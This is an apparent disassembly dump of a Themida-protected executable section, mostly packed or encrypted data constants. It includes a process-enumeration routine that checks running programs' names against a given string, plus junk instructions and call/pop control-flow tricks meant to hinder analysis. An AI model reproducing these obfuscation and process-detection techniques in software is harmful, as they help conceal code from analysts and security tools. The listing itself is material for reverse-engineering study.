dd 30988D63h, 1B81772Dh, 47411983h, 0FF74BE9h, 0F9AFB21Ah
dd 1AF09B05h, 67BDC022h, 45FE1AFDh, 39A19665h, 53B1AB9Bh
dd 40A29A50h, 66C6BF95h, 0C0A30D63h, 0ABAE140Ah, 979AFEF5h
dd 32A18140h, 0CFA3835Ch, 0D81D8088h, 0B609EB5Dh, 51E54D42h
dd 0B8AD285Ah, 154EB850h, 0A7h, 0B21A0FBBh, 9F01F9AFh
dd 8CEEE69Ch, 79DBD389h, 82621976h, 0DDBD7413h, 13B1190Eh
dd 1BC62E23h, 7F92192h, 0B2006FE9h, 0B9AF6548h, 0A19A5053h
dd 8F883E41h, 7275D7CFh, 1881841Ch, 0E9077FA7h, 0A1408E6Fh
dd 0C59B0AEAh, 0D4322C02h, 70117BD1h, 8175BC90h, 6D9CD81Dh
dd 42000000h, 3A62D35Ch, 416FE907h, 0BCB189F3h, 0AF20A954h
dd 6FE90787h, 0FBDE4896h, 62C4BC92h, 0CB2720F8h, 0E37FF7C8h
dd 0F9FC94BFh, 2DFCDC95h, 0B325D038h, 0BF5DFD2Eh, 30968CB5h
dd 0DB02E98h, 76EB1384h, 0A4F26FE9h, 4F52B4ACh, 0F538FF9h
dd 45AEB11Bh, 0A8127A6Fh, 0E9070835h, 2202B96Fh, 71D1CAA0h
dd 7AD32A07h, 11AD81Dh, 0C0000000h, 0D2B9170Fh, 9E7E89C3h
dd 258E9129h, 0EEF15B4Fh, 0D7DA4438h, 0A77FE981h, 0F54C4FADh
dd 8F875636h, 0F3FA8F2Dh, 0CA3CC570h, 0C1221F6Bh, 970A746Ch
dd 69FBDC3Eh, 8056014Fh, 0D3252886h, 0F3371D00h, 0A20CA49Bh
dd 5CCD56BFh, 75FB5434h, 0AB83ED3Bh, 1FA853B1h, 0FB5486AEh
dd 0DD479575h, 17756F5Fh, 3B9F966Ch, 9578E238h, 0FB541A44h
dd 0E5C57E75h, 20BE1C16h, 0D5D83630h, 0C4C7251Fh, 392F05A8h
dd 0E8C869D3h, 12C51F19h, 43D04931h, 584DEB83h, 0DE301801h
dd 10848h, 636AEE00h, 7BC435E0h, 0C269FB34h, 0C1BB7174h
dd 4C22C563h, 0A820F456h, 84A4D76Dh, 0E893E9ECh, 0FB794F77h
dd 0A6105E75h, 7376D4CEh, 6265C3BDh, 0DEAD8D46h, 5DB86E4h
dd 4FA5A810h, 7761C0BBh, 248ED7D5h, 7E5AB1A6h, 3DA1DE2Fh
dd 47000000h, 31DC6F6Ah, 16F9B8C0h, 36398710h, 0D5FA5BCDh
dd 0D63CA1B1h, 8285E5DEh, 274FC22Ch, 31EFE8F0h, 6564D8B8h
dd 0B2BA2BD6h, 799016E2h, 1711D3CBh, 0C81E21B9h, 7EB39230h
dd 61000000h, 35E0636Ah, 0FB1BAFC4h, 2D307E69h, 6DCB52C4h
dd 235C7E82h, 89E7E1B9h, 0A301FBEBh, 3CAE37A0h, 0F0A124ECh
dd 0E810A345h, 0F775FB9Fh, 0ADCC3FA9h, 6775FB9Eh, 540A0D6Fh
dd 0A2F9FC5Ah, 0EE9403E3h, 8C865535h, 0F0FB902Eh, 20B81811h
dd 1D16EC75h, 0FE01675Dh, 33A610A8h, 70112BEAh, 59B7B187h
dd 0BFC210EFh, 0AEB10F09h, 44B89857h, 860FBA49h, 0EC56B8B0h
dd 3A13079h, 8D2B796Ah, 0E0636A39h, 947BC435h, 14C269FEh
dd 63B9BC1Ah, 1812C8CBh, 322C1CBAh, 0C580D1D4h, 308610ACh
dd 0D0CA9979h, 5B31D472h, 0C0980262h, 0BCE455C6h, 0C385F08Bh
dd 24DADD75h, 0C72682Eh, 5B1A7174h, 54B2AC7Bh, 6ECCC6B6h
dd 3C66Bh, 95740000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch
dd 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h
dd 0E786C22h, 89514D0Bh, 4C181E1h, 83000000h, 0C8704E9h
dd 14895C24h, 3D7E6824h, 14890000h, 438B6824h, 1C890000h
dd 167FBA24h, 0D2F745C3h, 5426BF57h, 0FA29B425h, 1C8B545Fh
dd 4C48324h, 4EC81h, 14890000h, 8438F24h, 5B2434FFh, 4C481h
dd 34FF0000h, 0C4835A24h, 0E5ABE904h, 26C4FFFAh, 3D560CB0h
dd 99F8B83Fh, 0C5030617h, 0DB3FE0FFh, 2BBD1310h, 0B0E0140Ch
dd 0D60F4736h, 8A8C614Ah, 6C314BC3h, 0F5D9151Dh, 6145403Dh
dd 0D33B77B4h, 0DAD000C2h, 2E870255h, 503E1CBFh, 3CE92186h
dd 1, 4Eh dup(0)
dd 83000000h, 121C31BDh, 840F0106h, 42Eh, 5E9h, 0B958000h
dd 85C68F5Dh, 6122871h, 0FE943h, 97F20000h, 85A605EAh
dd 746E6C5Bh, 0E2377D6Fh, 0A8D0F28h, 0E9000000h, 5, 0B00C2A92h
dd 9F8D6872h, 5250C059h, 7E860h, 0B510000h, 0D351FAB9h
dd 0F615B5Ah, 26B06031h, 0CE9h, 34A81900h, 92BFAA5Eh, 2291E05Fh
dd 585A617Ch, 78243481h, 0E92CFC4Fh, 6, 0F991F929h, 0B5FFFBE9h
dd 61230E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 56C35545h, 8D0F075Bh, 0Ah, 8B62B960h, 0BF0F7738h
dd 858D61DAh, 6157F35h, 0FE9h, 1148D900h, 3BC27CA8h, 0E0BF48C7h
dd 13F5C531h, 0DE9D0FFh, 41000000h, 9565247Bh, 18BFF09Eh
dd 0CB185E72h, 1D58589h, 0F600612h, 282h, 0F5E5700h, 0C661F3BFh
dd 12287185h, 68F55006h, 88AFD4EBh, 13B86660h, 34816160h
dd 279BD24h, 0A810F20h, 60000000h, 0D1816160h, 316C2793h
dd 0E9B5FF61h, 0FC061230h, 7F35858Dh, 0FFF80615h, 53006AD0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0D739E128h, 68B08280h, 0E860F9BAh, 9, 557335D7h, 3806D094h
dd 870F6Fh, 59000000h, 61C3B70Fh, 1C818589h, 0FF50612h
dd 1986h, 14E900h, 41E0000h, 0D0372B4Bh, 0B3176883h, 96F40694h
dd 82B07Ch, 61686974h, 0FEBEF85h, 0C81h, 6800F00h, 50000000h
dd 5A310F52h, 24348158h, 1B602D4Eh, 0E9B5FFFCh, 60061230h
dd 0ECCE8166h, 0C0816619h, 0F56119F9h, 7F35858Dh, 0FFFC0615h
dd 8589FCD0h, 6120109h, 88C0Fh, 8B0F0000h, 2, 85C66160h
dd 6122871h, 1C8D0F50h, 60000000h, 12E80CB1h, 34000000h
dd 5780F25Dh, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h, 68615FB1h
dd 0EB00F815h, 3810F60h, 66000000h, 5250F28Bh, 310F5250h
dd 310F585Ah, 820Fh, 585A0000h, 24348161h, 7C9C2443h, 0B1B5FFF9h
dd 0F061203h, 0E86h, 9E900h, 28F30000h, 17EEE3CCh, 8D0120A9h
dd 123B5D85h, 5E906h, 279F0000h, 0FFF6C07Ah, 0DE860D0h
dd 0F6000000h, 94FC4103h, 0ACD916F9h, 54BEECFh, 58CE8B66h
dd 7E9h, 5380C00h, 183FCECCh, 0D858961h, 0E9061210h, 0Fh
dd 0ACA97B74h, 3FBE563Fh, 91F7EC08h, 0E983E48Fh, 192h
dd 10E9h, 30C6B00h, 6705B597h, 0F3A68B49h, 8DB98452h, 0F605057h
dd 8Eh, 6163B600h, 0E9242C89h, 12h, 61FA69F8h, 0D7574409h
dd 7257B9DEh, 0E172CDD3h, 0EC8BBF63h, 0EE960h, 0BD670000h
dd 6B90E018h, 53FC66A3h, 0B003F86h, 0FCC48361h, 18B0Fh
dd 60F80000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 3AC35141h, 0E8D13491h, 0
; ---------------------------------------------------------------------------
pop edx
sub edx, 6179EFEh
mov dword ptr [ebp-4], 0
cmp dword ptr [edx+6121C31h], 1
jz loc_5A09C7
push edx
push 0
push 0Fh
call dword ptr [edx+61201D5h]
pop edx
mov [edx+6179A99h], eax
lea ebx, [edx+6179A9Dh]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+6121C81h]
pop edx
loc_5A0957: ; CODE XREF: Themida_:005A0981j
; Themida_:005A09B5j
push edx
lea ebx, [edx+6179A9Dh]
push ebx
push dword ptr [edx+6179A99h]
call dword ptr [edx+612100Dh]
pop edx
or eax, eax
jz short loc_5A09C0
lea ebx, [edx+6179A9Dh]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5A097B: ; CODE XREF: Themida_:005A098Bj
cmp ecx, 104h
jz short loc_5A0957
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5A097B
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+6122419h]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+6122419h]
push eax
call dword ptr [edx+6120109h]
pop edx
or eax, eax
jnz short loc_5A0957
mov dword ptr [ebp-4], 1
jmp short loc_5A09C7
; ---------------------------------------------------------------------------
loc_5A09C0: ; CODE XREF: Themida_:005A096Ej
mov dword ptr [ebp-4], 0
loc_5A09C7: ; CODE XREF: Themida_:005A0929j
; Themida_:005A09BEj
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5A09DA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A09DA proc near ; CODE XREF: Themida_:005A09D2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5A09DA endp
; ---------------------------------------------------------------------------
sub dh, 0F6h
fxch st(4)
inc edx
popf
cwde
push 0
push ecx
call sub_5A09FD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A09FD proc near ; CODE XREF: Themida_:005A09F5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
locret_5A0A0C: ; CODE XREF: Themida_:005A0A15j
retn
sub_5A09FD endp
; ---------------------------------------------------------------------------
db 72h, 65h, 13h
; ---------------------------------------------------------------------------
mov al, ds:434BE9Dh
jns short locret_5A0A0C
clc
clc
jle loc_5A0A26
jnz loc_5A0A26
cld
loc_5A0A26: ; CODE XREF: Themida_:005A0A19j
; Themida_:005A0A1Fj
mov edx, edx
jmp loc_5A0A3F
; ---------------------------------------------------------------------------
db 8Dh, 54h, 1
dd 0E7339C73h, 77h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A0A3F: ; CODE XREF: Themida_:005A0A28j
jmp loc_5A183A
; ---------------------------------------------------------------------------
push 617A1E9h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617A304h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617A486h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617A5C0h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617A774h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617A9C7h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617ABA5h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617ACB8h
jmp loc_54EA15
; ---------------------------------------------------------------------------
dd 902E9A8Dh, 0A442ACA0h, 0BC5ABCB4h, 0D270D6CCh, 0E785EDE2h
dd 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h, 0F8F2E280h, 9CFDFC9Ah
dd 0A7032Bh, 0A5F70A76h, 0B4B7150Fh, 8A604FEh, 3EE97873h
dd 0FB1E10CDh, 48F34169h, 6D187A72h, 0FB22D4FCh, 238DDB75h
dd 22C3EF40h, 0E5D975FBh, 22CFF768h, 90DE75FBh, 463FF5F8h
dd 0CD8CE3E6h, 0CFA87EEDh, 99C41BEFh, 47B9DE2Fh, 45FD0E4Eh
dd 4F88F292h, 3Bh, 0E0636AF5h, 0D363C335h, 7462C118h, 0D0E7F0Ah
dd 3C69FBD1h, 49BA43EEh, 75FBAF21h, 0AFE30B7Ch, 9CEA75FBh
dd 2E54F9Dh, 0FBAF85B1h, 4E4BD75h, 3022D930h, 0FB20DEh
dd 0FC60000h, 0B33A415h, 196FE907h, 66BCBF21h, 0D6811967h
dd 28277164h, 0BDB5059Ch, 16F963C5h, 7FF06B60h, 6FE9E057h
dd 8764D0D1h, 9695D1E2h, 0D1869C4Ch, 861E3A69h, 786D43EEh
dd 0DC3A610h, 0FCB2B513h, 0FBE5A802h, 6C7D3994h, 0AEAB36D4h
dd 666FE95Ah, 80700E6Ch, 0BC252886h, 218BEFE6h, 0C1BAA9A4h
dd 70085E61h, 42B33CC5h, 6FE9631Ah, 274FC021h, 366FE963h
dd 5E5850E8h, 3DA7FD00h, 0FB6321CAh, 3CDA2869h, 6BC9C399h
dd 0FA898401h, 5AFDE4Fh, 3C127010h, 8BE1E442h, 49F44221h
dd 78167E73h, 392B9388h, 79415E30h, 9531D6B9h, 0F800000Bh
dd 0BFB9905h, 1F0FAD17h, 3727C527h, 4D3DDB41h, 0E552F058h
dd 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h, 5635D4Dh, 96076867h
dd 7600A86Eh, 0F186A7Dh, 3107B21Ah, 0EB69D33Dh, 0F8A301FBh
dd 3ACCEF86h, 104BDF43h, 5BD943AAh, 0CD636A07h, 0E907345Ch
dd 55ED3B6Fh, 554B21AAh, 111285EFh, 8C69FB12h, 0F45EBCB6h
dd 0ADE3CB15h, 1A0D6F98h, 0DD4ED782h, 75FBD7B5h, 290C76C4h
dd 0FBD7ACD8h, 7CBC275h, 52A8AB11h, 0C01B7BAh, 52B4ACA4h
dd 34148D4Fh, 3616EFC5h, 304B0B62h, 0B552DEh, 20A90000h
dd 0FBCB87AFh, 0DE489675h, 8C865CA2h, 0F2ECC42Eh, 0E6DB9194h
dd 2D2A7B7Eh, 0E36FE902h, 0FDED8BE9h, 47A2A503h, 3C12BD44h
dd 87DDE046h, 9709921Dh, 0ECEB3CBCh, 0BA2D9793h, 69FB5D11h
dd 0AD1FCA18h, 677DC9CEh, 2CAA1483h, 620D9497h, 100AD3F1h
dd 41EC3A70h, 0D865ECFh, 0B01A566Dh, 0F25A4F25h, 0B728B154h
dd 6FEF938Fh, 0EE6509Eh, 20BFB119h, 357941C4h, 0A7AAD52h
dd 20130000h, 322616B4h, 423A2AC8h, 5C5242E0h, 736858F6h
dd 0A1006D0Bh, 38D63E33h, 4FED5148h, 6806665Fh, 82207E78h
dd 89B12283h, 907600AAh, 1A0F2B7Dh, 2A2414B2h, 0FDA2ECCh
dd 0FEB4B715h, 7308A604h, 0CC3EE978h, 0C31AF263h, 810C766Dh
dd 0FBB23F10h, 0FD004E69h, 0FBBE7FACh, 0FEDEB775h, 3035D32Ah
dd 6C91ADEh, 6AC00000h, 0C435E063h, 69FB0463h, 3FB15CAAh
dd 0B5AF7E64h, 184CC357h, 49E612FBh, 4BE30AB0h, 81ADFEE1h
dd 9775FBD7h, 853B3E9Eh, 0C62A2D8Bh, 0E8BE2D0Dh, 32B9C25h
dd 0A75FBD7h, 0D1B152BCh, 304EA6FDh, 0CBC59BDEh, 7CCA036Dh
dd 70000006h, 3A62D35Ch, 416FE907h, 10C89F3h, 7D6FE6Fh
dd 97E56FE9h, 22E354FFh, 7F69FB12h, 1E5D85F6h, 1E6C75FBh
dd 0DC87D5B4h, 17AB0F06h, 9CD56EA6h, 7A5DC7A0h, 0FB6BFD29h
dd 7C5C3575h, 2FE451A8h, 63598DEh, 0AD3E0000h, 0CF525982h
dd 2F16B324h, 0B90769FBh, 877E54BFh, 60CA2023h, 0E57D8EDh
dd 0A1808BEAh, 87EDE3ADh, 3BAC57EFh, 0F402065Eh, 0E1097A03h
dd 0E8FBFE09h, 351309Ah, 278B8258h, 0D0D3392Fh, 0D22D107Ah
dd 9CC435DBh, 0AAFBFE09h, 14F4EB4h, 0F0E8BE69h, 0CB358B8Eh
dd 404ECF40h, 51FFF610h, 0B25DF55Bh, 2821E5DCh, 3BC630C8h
dd 6F0D6B65h, 648E5ACCh, 0B8048FC7h, 1E7C764Eh, 4077B12Ch
dd 10B598EFh, 8F8h, 9836A295h, 0AC4AB4A8h, 0C462C4BCh
dd 0DA78DED4h, 0EF8DF5EAh, 0C0B52782h, 0D3CABA58h, 0E8E1D16Fh
dd 0FAEA88h, 0A40504A2h, 0AB0B33h, 0ADFF1276h, 0B4B7150Fh
dd 1880754Bh, 0A73A31AEh, 0A7488BFCh, 378569FEh, 0A7B20E99h
dd 0D7487600h, 5940DC4Eh, 2CC17FFDh, 0AE3DFF98h, 41ABF6FEh
dd 66116F69h, 2A446CDDh, 9D4B7600h, 0EC4245A3h, 0D76CEA54h
dd 159E49D8h, 78E1C3A3h, 0DF3EE10Fh, 149A8E24h, 3AAD17AFh
dd 7600D50Ah, 42AA9F75h, 7570C4AEh, 56C05B9Bh, 7DA51677h
dd 8C760088h, 0EDA3A63Eh, 14EA95F3h, 5EB4B71Fh, 0AFEB76F4h
dd 0E5760088h, 0CE382CECh, 83F59836h, 4AF63549h, 0AD85EFC3h
dd 15255B3h, 962DFED5h, 0D5A4843Dh, 3CDF7DDBh, 0D1DC04CAh
dd 1B7174DCh, 0EDF6BA87h, 53B1AB83h, 43D3FF50h, 894869D1h
dd 82E0DAA9h, 15405E4h, 0FB30000h, 0FE5E5715h, 0A0DA5FBh
dd 0A79B5B54h, 4CE43A3Dh, 7D0F849h, 0ECE66FE9h, 0B0228B8Eh
dd 5949D91Ch, 54B6AE61h, 0D6D552BCh, 0CC2EA04Bh, 0BCAD7D47h
dd 74E570DAh, 69FF0731h, 0B71C0E5Ch, 7E733090h, 7BEF69Bh
dd 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch, 2F2414B2h
dd 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh, 3EDC3A34h
dd 456DDE3Fh, 547600ACh, 150FEF41h, 3D360CB7h, 0DA9073DDh
dd 0EFDF7DE5h, 0EA1283F6h, 0F16FE907h, 0B09AFBA7h, 0D56D3E24h
dd 0F9A14241h, 6901C456h, 8CF2E8BEh, 17883389h, 6FE919EFh
dd 0C846B0FEh, 0E280DED8h, 0D73693Fh, 6ED6CBA3h, 58C0B56Bh
dd 68E1D7ADh, 0E919CFF7h, 0F890DE6Fh, 0D68FAB8Eh, 840274F6h
dd 3D86B5ACh, 7A6F47B1h, 0FBD17412h, 5C39A301h, 0D81E5B05h
dd 0C4Ch, 0AD20F200h, 7F000000h, 0E34DB3A9h, 0B7150FA7h
dd 51C24BB4h, 6FE90729h, 578E230h, 6FE917D9h, 8E91FBEFh
dd 7C7FDFD8h, 1988681Fh, 12E1C180h, 0FD655A18h, 0DED7C765h
dd 0C961D37Eh, 0D2FA6B2Fh, 0D96FE9FAh, 0E1B4F78Bh, 419275DFh
dd 6FE93B14h, 3403E364h, 10817B3Bh, 0E93B779Fh, 0A038866Fh
dd 0F1C76A08h, 3B9194FCh, 160F95D1h, 8B990BB6h, 3C94BC89h
dd 0C2785BC5h, 35BE69C9h, 0E9F09CC4h, 0D142A36Fh, 6FE9F0A9h
dd 60CA62B0h, 0C8A8617Dh, 2A000F9h, 0E9F7B677h, 0ED413E6Fh
dd 30D81E5Fh, 0FFFFFE73h, 32920D6h, 0D7F0000h, 0AEE3E5B4h
dd 336FD9B6h, 0B4B7150Fh, 0E9072763h, 0D8B8316Fh, 13B10F09h
dd 1B11E770h, 0C95CB2B5h, 6FE907A1h, 18F05AA8h, 6CBDC01Eh
dd 6FE90730h, 0B0E6C66h, 7B26BDB0h, 0FEA7C70Ah, 0AAE85A69h
dd 2EFFDF06h, 0E7EA5448h, 0A01F991h, 0E34DA3A6h, 0A32A304h
dd 117600FAh, 88392BC3h, 9173305Dh, 60A09AEh, 90830000h
dd 0A2968624h, 0B2AA9A38h, 0CCC2B250h, 0E3D8C866h, 1170DD7Bh
dd 0A846AEA3h, 0BF5DC1B8h, 0D876D6CFh, 0F290EEE8h, 0F92192F3h
dd 7600AEh, 150F9BEDh, 6EE931BBh, 25BDB588h, 0AF776C22h
dd 10BB53B9h, 0A085E99Eh, 9F09BC58h, 79373121h, 0B31C1F81h
dd 0E96F1A42h, 3BD3216Fh, 0FE6FF8A3h, 6FE96FD6h, 0B0397E5h
dd 0B46C4007h, 3D2DAB15h, 27DDE048h, 0AD1FCA32h, 250E3A5Dh
dd 3E65082h, 7F4E2EE7h, 40390F8Ah, 63254DE0h, 0E6346FE9h
dd 64BBB04Eh, 0ABD81DDBh, 227h, 0DC6F6A51h, 0F87A88D9h
dd 0E5BE9107h, 7CDA3105h, 1021D70Ch, 0C7000002h, 31DC6F6Ah
dd 0E90798C0h, 5659A76Fh, 7F8F705h, 86663F91h, 0C7D5BB2h
dd 1F1A2D7h, 87F90000h, 7786DFD1h, 7CB822E2h, 31DC6F6Ah
dd 0E9078CC0h, 2119EF6Fh, 6AD2C7BFh, 28D32100h, 0F3F65C52h
dd 0FF50339Dh, 9107F8F1h, 0D8AC8C65h, 0D70C7C81h, 1BAC8h
dd 6F6A6E00h
dd 90C031DCh, 9F6FE907h, 9B34A651h, 224ABBF2h, 296FE92Fh
dd 0B3547DBh, 0D021046Eh, 9108D6C2h, 0E9BD9D76h, 0D70B9E92h
dd 18AD9h, 0EA5C7F00h, 0D3CD9B78h, 4DA7E175h, 908A62CCh
dd 0F263DCD2h, 6FE99FCAh, 0E8EB83D1h, 8EF7FA92h, 0FAA6431Ch
dd 0F45ED92Bh, 22C8221Ch, 7E1575Ah, 0C75CFA92h, 21923DC4h
dd 69FBF164h, 0D3242775h, 75FBCFA7h, 4E461CDFh, 1E182ECh
dd 3046D62Dh, 0F5CBDEh, 0D53F9598h, 399Ch, 636A4200h, 2F278780h
dd 923DD537h, 0FB122021h, 0A5DF2969h, 0B000D217h, 1CF29D35h
dd 9BFC224h, 53A9AC14h, 1D6E51BBh, 75FB71F1h, 9C705029h
dd 0DE2FE545h, 0C18Ch, 150F3200h, 9FEB4B7h, 0EEE89EA1h
dd 7E40C7Dh, 9DEB6FE9h, 524C0205h, 74870E1h, 9576FE9h
dd 0B0B31D11h, 8124C25Ah, 0D6FE6FF8h, 0E56FE907h, 7DC0497h
dd 95E36FE9h, 2BBB82Bh, 57516FE9h, 5ADC4EF9h, 0C9C40F6Bh
dd 0F287056Fh, 34BD68FBh, 0FD006A5Eh, 0E7EA5247h, 9D65F991h
dd 0ABC0CECBh, 0F8980B75h, 1769FE23h, 0EAAC1EC9h, 0DE463BFBh
dd 7D1FC84Ah, 0BDB28813h, 0D2C7B755h, 553F786Ah, 0E3C67333h
dd 3B73Eh, 77E3D600h, 8BF5E9D9h, 0A305FDEDh, 0B91F1505h
dd 0CE362B1Bh, 0F664C330h, 0BFB9901h, 2212B014h, 3B2BC929h
dd 4645E341h, 0B04C74E5h, 40537600h, 0B21A0FEEh, 0CC2A2414h
dd 0EA5CDA2Eh, 0FCEB74BAh, 653DA773h, 0A10A0D6Bh, 5D7FA718h
dd 71E26FE9h, 6FE95D49h, 0B5030250h, 1B79734Bh, 5DC5F27Dh
dd 37366FE9h, 0FB9001ACh, 0A69FB69h, 0FCA1EBCh, 1753BB15h
dd 0B448AEA4h, 9A1A2F8h, 2A94885Eh, 8467D127h, 1E16D4CEh
dd 203B69C0h, 0D66E8B3Bh, 65343442h, 8F27AF7Ch, 0D2515CF1h
dd 8FF9B627h, 0BA0869FBh, 81784EB7h, 0F4014321h, 2FC7F29Eh
dd 362652C5h, 855E75FBh, 0AD7AD1A5h, 996FDE2Fh, 87E9E19Fh
dd 2C962E84h, 7AF3h, 865C9900h, 0D3292C8Eh, 1983E1DBh
dd 8EFF919Ch, 6FE90766h, 7BA31475h, 826FE907h, 59049C34h
dd 7375FD0h, 0F8466FE9h, 9192038Eh, 0B869FB11h, 0EA16676Ah
dd 75FB1Eh, 0ECA2A509h, 2E8B8EF8h, 0FC2C9777h, 2457B19Ah
dd 956E44DCh, 6B8AE1B5h, 0A97FDE30h, 33A44FB1h, 75FBEC0Bh
dd 215AC412h, 0F0h, 2419EF78h, 0D063B9BCh, 75FBECA8h, 54706DB7h
dd 315C0627h, 0FF32F99h, 4BB4B715h, 157FC2D9h, 60B6B91Fh
dd 0F05352CCh, 0E98E577Fh, 8018666Fh, 0E1493E16h, 0D02E28DEh
dd 0BF1D17CDh, 0AEA87E21h, 7673E650h, 0AE6FE989h, 0C8B856B4h
dd 0C4EC5DCEh, 1F6FE98Ah, 0E98A86AEh, 4847956Fh, 2A9B73FEh
dd 8F27397Ah, 198BF4F7h, 0C585CFD6h, 8B0872DDh, 0E5560180h
dd 69FB262Ch, 0CE710F5Dh, 9C9FFFF8h, 6C5FDC46h, 23B92AD5h
dd 0EA700FCCh, 512824A0h, 0E074D7CFh, 307B61CEh, 20CB63F6h
dd 4FED554Ah, 10026A5Fh, 79422DA5h, 0D9CC7154h, 0B4000001h
dd 0C7B755C1h, 0DBCB69D3h, 0F3E381E3h, 9F997FDh, 0A10EAC14h
dd 77DFD446h, 8EF2E9D9h, 0A70700F0h, 0C11F1909h, 52C32423h
dd 7600B22Ah, 0FCC1E31h, 62E9F1Ah, 156FE907h, 0A1912FC7h
dd 57AB49A7h, 3A62D35Ch, 416FE907h, 10C89F3h, 0C7CA2822h
dd 8AFFD175h, 0A0381D0Dh, 0EBEC5D08h, 2269FBD1h, 9268D1D4h
dd 0DF35389Ah, 0DED60275h, 350E75FBh, 522A8155h, 0D971DE30h
dd 0C8000000h, 229DF9F2h, 488459E8h, 71AD17AFh, 65BB150Fh
dd 6A92033Dh, 716FE9E8h, 6A808F23h, 9A701BB3h, 0E43A3DA5h
dd 0ECE1977Ah, 0A03D984h, 0F45D40AAh, 5CC6241Eh, 0E9B0ECE9h
dd 0CC2A246Fh, 0EA443E2Eh, 6603DF52h, 76791134h, 0E691101Bh
dd 0ED2DEB5Dh, 38B2DA4Bh, 6BB96FE9h, 0D3F0A0D7h, 4A3DF669h
dd 0FE4C69FBh, 394BBD60h, 0E75A56B7h, 151895FFh, 3B72E38Eh
dd 62700FE8h, 9E936914h, 83F59836h, 810E6DA1h, 724AB4FFh
dd 8823157Dh, 5D79422Eh, 0C6D57Ah, 0D4C70000h, 0E6DACA68h
dd 0F6EEDE7Ch, 1006F694h, 271C0CAAh, 55B421BFh, 0EC8AF2E7h
dd 3A105FCh, 1CBA1A13h, 36D4322Ch, 3D65D637h, 4C7600B3h
dd 1A0FE739h, 719507B2h, 1FF52ADAh, 0C8B836A0h, 7ED270CEh
dd 0CB7150Fh, 74DE3C36h, 0CFB62891h, 56A17ECFh, 98926AD4h
dd 0E57DE5DAh, 28BBB247h, 2FD50C7Dh, 0AAF869FFh, 99F7F1A7h
dd 0A0110BFBh, 2F072Fh, 30C81676h, 653BC42Dh, 0B1070A6Eh
dd 2FF61Eh, 4DB70576h, 1724DADAh, 3A1AD121h, 0BCB3716Bh
dd 8C15C058h, 0EAD9F31Bh, 42ACFAE2h, 7CDAD4C4h, 67CDC379h
dd 6E4E0D64h, 0A947A59Fh, 5E61BFB9h, 0FB9h, 865C6700h
dd 72D6CD8Dh, 7E81196Fh, 306CBE28h, 0ADB01C0Fh, 9C9FFDF7h
dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h
dd 2225877Fh, 0B0E786Ch, 0E389534Dh, 301B850h, 0F7481D23h
dd 2DE8D1D8h, 716E7E7Ch, 8358C301h, 1C8704EBh, 0B3685C24h
dd 89000075h, 0AB682414h, 8900007Ah, 0BD55242Ch, 1B0E001Fh
dd 19A061BAh, 8BEA311Dh, 0C481242Ch, 4, 4EC81h, 24890000h
dd 24048324h, 73685D04h, 89000049h, 8B82404h, 1000000h
dd 581089E8h, 5D2434FFh, 0FF04C483h, 835A2434h, 0E6E904C4h
dd 0A9FFFAD1h, 29DE8730h, 0DB93B838h
; ---------------------------------------------------------------------------
adc ebx, esi
loc_5A183A: ; CODE XREF: Themida_:loc_5A0A3Fj
mov eax, 617ADA3h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0CEh
dd 4935BB2Dh, 3C0AABAAh, 0A2BBB48h, 213D767h, 14096E15h
dd 0C57184EBh, 7A4B7F30h, 0E6306A12h, 8D4F0281h, 17AF018Dh
dd 7D858B06h, 89061205h, 1209A18Dh, 10E806h, 0E35F0000h
dd 2F124CD3h, 55904AF2h, 92C84BF3h, 0B5890EA2h, 6121E89h
dd 585C758h, 88061205h, 6A000066h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0CD83C350h
dd 87022FA2h, 4218503h, 81660612h, 0C73981EAh, 121BD985h
dd 6, 2ACB8000h, 18C0Fh, 0FFF80000h, 121B85B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 90C002Ah, 12000D8Dh, 3195FF06h, 0F506121Bh, 95FF006Ah
dd 61219CDh, 28EBC08Bh, 6116B1C0h, 3B008F8Dh, 0F1D7A00Dh
dd 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 53B661D1h, 0CE17DDA0h
dd 0C0DCC150h, 0B89D22F8h, 178E9h, 5097DF00h, 186A7C2Dh
dd 0E44ED284h, 395A904Ch, 3254AB0Bh, 3154B052h, 3A5AB70Bh
dd 11738D52h, 4326873Bh, 0B8728852h, 0BCC62CD0h, 4B4BC9Ch
dd 7517CF52h, 12852h, 0
dd 400h, 2 dup(0)
